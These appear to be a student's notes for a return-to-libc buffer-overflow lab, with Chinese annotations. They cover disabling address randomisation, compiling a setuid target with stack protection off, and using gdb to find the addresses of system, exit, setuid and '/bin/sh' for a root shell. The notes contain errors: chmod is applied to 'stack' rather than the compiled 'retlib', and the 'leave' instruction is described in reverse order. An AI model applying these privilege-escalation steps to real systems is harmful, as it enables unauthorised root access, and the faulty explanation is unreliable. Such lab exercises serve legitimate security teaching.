Return-to-libc

$ su root  
Password: (enter root password)  
# /sbin/sysctl -w kernel.randomize_va_space=0  
（关闭地址随机化）  

$ gcc -o exploit exploit.c
$./exploit
// create the badfile  

$ su root
Password (enter root password)
# gcc -o retlib -z execstack -fno-stack-protector -g retlib.c
# chmod 4755 stack
# exit
-z execstack : 使填写在栈内的内容能过执行
-fno-stack-protector : 关闭栈溢出保护，使栈可以被溢出
-g : 可调试编译，使程序能够被调试  

$./retlib
// launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

gdb retlib

(gdb) b main
Breakpoint 1 at 0x80484bc: file retlib.c, line 20.
(gdb) r
Starting program: /home/seed/Lesson1/retlib 

Breakpoint 1, main (argc=1, argv=0xbffff414) at retlib.c:20
20	    badfile = fopen("badfile", "r");
(gdb) p system     （寻找调用system的地址）
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) find system,+9999999,"/bin/sh"  （寻找“/bin/sh”字符串的地址）
0xb7f80fb8
warning: Unable to access target memory at 0xb7fc74c0, halting search.
1 pattern found.
(gdb) p exit    （寻找调用exit的地址）
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) p setuid  （寻找调用setuid的地址）
$3 = {<text variable, no debug info>} 0xb7ed8e40 <setuid>
(gdb) 

(gdb) disassemble bof
Dump of assembler code for function bof:
0x08048484 <+0>:	push   %ebp
0x08048485 <+1>:	mov    %esp,%ebp
   	0x08048487 <+3>:	sub    $0x28,%esp
  	0x0804848a <+6>:	lea    -0x14(%ebp),%eax
 	0x0804848d <+9>:	mov    0x8(%ebp),%edx
   	0x08048490 <+12>:	mov    %edx,0xc(%esp)
   	0x08048494 <+16>:	movl   $0x28,0x8(%esp)
   	0x0804849c <+24>:	movl   $0x1,0x4(%esp)
   	0x080484a4 <+32>:	mov    %eax,(%esp)
   	0x080484a7 <+35>:	call   0x8048380 <fread@plt>
   	0x080484ac <+40>:	mov    $0x1,%eax
   	0x080484b1 <+45>:	leave  
   	0x080484b2 <+46>:	ret    
End of assembler dump.

0x080484b1 <+45>: leave  

pop %ebp
mov %ebp, %esp

0x080484b2 <+46>: ret 
This instruction simply pops the return address out of the stack, 
and then jump to the return address.